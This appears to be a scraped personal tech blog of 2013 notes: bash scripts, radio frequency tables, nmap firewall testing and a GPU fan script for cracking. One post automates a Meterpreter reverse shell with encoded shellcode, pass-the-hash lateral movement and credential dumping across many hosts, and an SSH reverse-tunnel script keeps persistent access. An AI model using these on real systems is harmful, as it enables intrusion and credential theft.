What to do in the case of a "knock and talk" by the police:
http://www.primermagazine.com/2013/learn/legally-speaking-police-are-at-the-door
What to do if the police have a search warrant:
http://www.avvo.com/legal-guides/ugc/what-to-do-when-the-police-show-up-at-your-house-with-a-search-warrant
Tuesday, November 19, 2013
Monday, October 14, 2013
How to check if an IP from a domain is in a list of IPs
grep $(dig +short blah.domain.com) file-of-ips.txt
Labels:
Network
Friday, October 4, 2013
VX8DR RX/TX Freqs
Stole this from some forum. just google it and you can find the source.
RX
Frequency Note
0.5 - 1.8 MHz BC Band. AM Radio
1.8 - 30 MHz Shortwave Band.
30 - 78 MHz 6 Meter Ham
76 - 108 MHz FM Radio
108 - 137 MHz Air Band
137 - 174 MHz 144 MHz Ham. 2 Meter
174 - 222 MHz VHF-TV
222 - 225 MHz 222 MHz Ham
225 - 420 MHz General Band 1
420 - 470 MHz 440 MHz Ham. 70 cm.
470 - 800 MHz UHF-TV
800 - 999 MHz General Band 2 Cellular Blocked
TX
50 - 54 MHz
144 - 148 MHz
222 - 225 MHz USA version only
430 - 440 MHz
TX w/ mod
50 - 54 MHz
144 - 148 MHz
148 - 174 MHz MARS/CAP Mod only
222 - 225 MHz USA version only
430 - 440 MHz
440 - 470 MHz MARS/CAP Mod only. FRS/GMRS freq range
RX
Frequency Note
0.5 - 1.8 MHz BC Band. AM Radio
1.8 - 30 MHz Shortwave Band.
30 - 78 MHz 6 Meter Ham
76 - 108 MHz FM Radio
108 - 137 MHz Air Band
137 - 174 MHz 144 MHz Ham. 2 Meter
174 - 222 MHz VHF-TV
222 - 225 MHz 222 MHz Ham
225 - 420 MHz General Band 1
420 - 470 MHz 440 MHz Ham. 70 cm.
470 - 800 MHz UHF-TV
800 - 999 MHz General Band 2 Cellular Blocked
TX
50 - 54 MHz
144 - 148 MHz
222 - 225 MHz USA version only
430 - 440 MHz
TX w/ mod
50 - 54 MHz
144 - 148 MHz
148 - 174 MHz MARS/CAP Mod only
222 - 225 MHz USA version only
430 - 440 MHz
440 - 470 MHz MARS/CAP Mod only. FRS/GMRS freq range
Tuesday, September 17, 2013
Test allowed firewall ports
Sometimes you are behind some paywall/captive portal/firewall and you feel like certain pors would be left through if only you knew which of the over 65,000 ports did. The only way to really know is to check each one individually. Thats where http://portquiz.net/ comes in.
It's a site that registers every port as open. This way you know that if something is allowed through, it will come back in your port scan.
So behind your firewall, this:
now you can check the firewallcheck.nmap (or parse it out of gnmap) and find out which ports allow data through.
It's a site that registers every port as open. This way you know that if something is allowed through, it will come back in your port scan.
So behind your firewall, this:
nmap -p- -T4 portquiz.net -oA firewallcheck
Labels:
Network
Wednesday, August 21, 2013
Number of Potential Ports in Private IP Space
So this is kind of interesting and it might be useful in the future.
The 10/8 network has 16,777,216 addresses
The 172.16/12 network has 1,048,576 addresses
The 192.168/16 network has 65,536 addresses
Combine those with 65,536 port numbers for TCP and the same for UDP and you get over 2.3 trillion (2,345,052,143,616) potential service endpoints.
So next time someone wants you to scan their private IP space, doesnt tell you what ranges there are and expects you to do it in 2 weeks, tell them to politely fuck off.
Labels:
Network
Thursday, August 15, 2013
echo colored text in bash
Lots of tutorials tell you to use the "echo -e [blahblah" ANSI escape sequences to generate the colors for output. First of all those are practically impossible to read easily, they look like magic, and its a bitch to try to find a typo.
tput was created a while ago to remedy those issues. I've created a function/script that can be included in other scripts to easily generate colors.
I'm particularly happy with my ls-color-codes argument, it will print a 16x16 box of the color codes and their colors.
Happy scripting!
#!/bin/bash echo_color() { case ${1} in black) shift 1 #echo $(COLOR)${user-supplied-text}$(NORMAL-COLOR) echo $(tput setaf 0)${*}$(tput sgr0) ;; red) shift 1 echo $(tput setaf 1)${*}$(tput sgr0) ;; green) shift 1 echo $(tput setaf 2)${*}$(tput sgr0) ;; yellow) shift 1 echo $(tput setaf 3)${*}$(tput sgr0) ;; blue) shift 1 echo $(tput setaf 1)${*}$(tput sgr0) ;; cyan) shift 1 echo $(tput setaf 6)${*}$(tput sgr0) ;; magenta) shift 1 echo $(tput setaf 5)${*}$(tput sgr0) ;; white) shift 1 echo $(tput setaf 7)${*}$(tput sgr0) ;; underline) #yes i know its not a color, its still usefull though. shift 1 echo $(tput setaf smul)${*}$(tput sgr0) ;; custom) color_code=${2} shift 2 echo $(tput setaf ${color_code})${*}$(tput sgr0) ;; ls-color-codes) for i in $(seq 0 256); do tput setaf ${i} printf " %3s" "$i" tput sgr0 if [ $((($i + 1) % 16)) == 0 ] ; then echo #New line fi done ;; *) cat < This script will echo your text as a specified color. Usage: $0 $0 custom $0 ls-color-codes USAGE esac } echo_color $*
Happy scripting!
Labels:
Bash,
Programming
Tuesday, August 13, 2013
Automating Meterpreter from bash
This is pretty disgusting and a stupidly unstable hackjob, but it worked and this blog is more for notes for myself anyway...
Generate the post-exploitation comand rc file:
Then run msfconsole to listen for the callback:
Now it should iterate through all of the IPs in the text file, executing sce from a share (no hard drive footprint) and executing the callback to your msfconsole listener. It then auto loads the rest of the payload, executes the .rc file, and exists. Rinse and repeat with the next IP
Generate the post-exploitation comand rc file:
cat > /root/automsf.rcgetsystemrun post/windows/gather/smart_hashdumprun post/windows/gather/cachedumpexit
Then run msfconsole to listen for the callback:
Then generate the payload to use with sce:msfconsoleuse exploit/multi/handlerset payload windows/meterpreter/reverse_tcpset lhost 10.10.10.10set AutoRunScript multi_console_command -rc /root/automsf.rcexpoit -j -z
msfpayload windows/meterpreter/reverse_tcp EXITFUNC=thread LPORT=4444 LHOST=1.1.1.1 R | msfencode -a x86 -e x86/alpha_mixed -t raw BufferRegister=EAXThen run the forloop while serving sce from a share
for i in `cat file-of-smb-hosts`; doecho grabbing $i;winexe-PTH -U 'DOM\user%password' --uninstall //$i 'cmd.exe /c \\10.10.10.10\smb_share\sce.exe PYIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJI9lzHOys0uP30aplIKUfQn2QtNkf2vPNk0RdLlK0RftLK42Q86oMg1ZFFVQKOUayPLlElQqqlgrFL5piQXOdMGqzgxbHpaBCgLKV26pnkqR7LVaHPNk1PT8NeYP440J31zpbplKsx6xnkCha0uQiC8cGLBink4tNk7qIFp1io5aiPLlYQjodMwqO7GH9El45S1mIhEkQmtd1eZB3hnkchGTVaiC0fnkTL0KLKpXgluQkcnkwtlKC1xPLIRd14ddQKaKU1Ci1JCa9o9paHSopZNk7bXkmV3mE8FSTrWps0RH3Gt3p2copTBHPL47gVVgYoyEoHj0eQc0ePwYzdRtpPPhWYm;done
Now it should iterate through all of the IPs in the text file, executing sce from a share (no hard drive footprint) and executing the callback to your msfconsole listener. It then auto loads the rest of the payload, executes the .rc file, and exists. Rinse and repeat with the next IP
Labels:
Bash,
Metasploit,
Network
Tuesday, July 23, 2013
SSH Persistent Connection Script
I just reinstalled a test machine and forgot to save my ssh tunnel script so i decided to write a new one.
#!/bin/bash #this script will constantly maintain (via crontab) a remote forward connection to another machine. This can #be used as a way to connect to a jumpbox to get over a pesky NAT remote_listen_port=2222 local_ssh_port=22 remote_host=example.com remote_user=user1 identity_file=/home/user1/.ssh/key1 connect_string="ssh -N -T -R ${remote_listen_port}:localhost:${local_ssh_port} ${remote_user}@${remote_host} -i ${identity_file} -o ConnectTimeout=60 ServerAliveInterval=10" process_is_up(){ ps aux | grep "${connect_string}" | grep -v grep } start_bot(){ ${connect_string} } if process_is_up ; then echo process is up, exiting exit 1 else echo process is down, starting now start_bot & fi; #add to root homedir and then crontab with the following line: #* * * * * /root/ssh-bot-script.sh > /dev/null
Labels:
Bash,
Programming,
SSH
Get/Set Fan Speeds for AMD Video Cards in Linux
I'm messing around with GPU cracking and I've been changing fan speeds manually a lot so I wrote a script to do it for me. This script will output the temperature & fan speed of the two cards in my system, as well as allow me to set the fan speeds for either/both:
#!/bin/bash #ati-stats.sh - gives environmental stats about the ATI videocards. this assumes you have two cards get_fan_speed () { DISPLAY=:0.${1} aticonfig --pplib-cmd "get fanspeed 0" | grep '%' | cut -d ':' -f 3 } set_fan_speed () { DISPLAY=:0.${1} aticonfig --pplib-cmd "set fanspeed 0 ${2}" } get_temp () { aticonfig --adapter=${1} --odgt | grep Temp |cut -d '-' -f 2 } if [[ -z ${1} ]]; then #if no arguments then output stats echo "0: $(get_temp 0) --$(get_fan_speed 0 )" echo "1: $(get_temp 1) --$(get_fan_speed 1 )" else case ${1} in get) get_fan_speed ${2} ;; set) oldspeed=$(get_fan_speed ${2}) set_fan_speed ${2} ${3} echo "${2}: ${oldspeed} -> $(get_fan_speed ${2})" ;; setboth) oldspeed=$(get_fan_speed 0) set_fan_speed 0 ${2} echo "0: ${oldspeed} -> $(get_fan_speed 0)" oldspeed=$(get_fan_speed 1) set_fan_speed 1 ${2} echo "1: ${oldspeed} -> $(get_fan_speed 1)" ;; *) echo "Usage: $0 [get Adapter_NUM | set Adapter_NUM fan_PERCENT | setboth fan_PERCENT]" ;; esac; fi;
Labels:
Bash,
Hardware,
Programming
Wednesday, June 5, 2013
Getting Better At Bash Scripting
some people really suck at bash scripting. Some people are just lazy. I'm the latter. Often times i know whats best, i just dont care because it really doesnt matter in that particular situation...
Here are a couple sites that made me become the go-to person for bashisms and all the "why doesnt this work" bash questions.
http://wiki.bash-hackers.org/start
http://tldp.org/LDP/abs/html/
http://www.tldp.org/LDP/Bash-Beginners-Guide/html/Bash-Beginners-Guide.html
http://www.tldp.org/LDP/intro-linux/html/intro-linux.html
http://www.tldp.org/LDP/sag/html/sag.html
The bash-hackers link is a frackin' gold mine.
Here are a couple sites that made me become the go-to person for bashisms and all the "why doesnt this work" bash questions.
http://wiki.bash-hackers.org/start
http://tldp.org/LDP/abs/html/
http://www.tldp.org/LDP/Bash-Beginners-Guide/html/Bash-Beginners-Guide.html
http://www.tldp.org/LDP/intro-linux/html/intro-linux.html
http://www.tldp.org/LDP/sag/html/sag.html
The bash-hackers link is a frackin' gold mine.
Labels:
Bash,
Programming
Subscribe to:
Posts (Atom)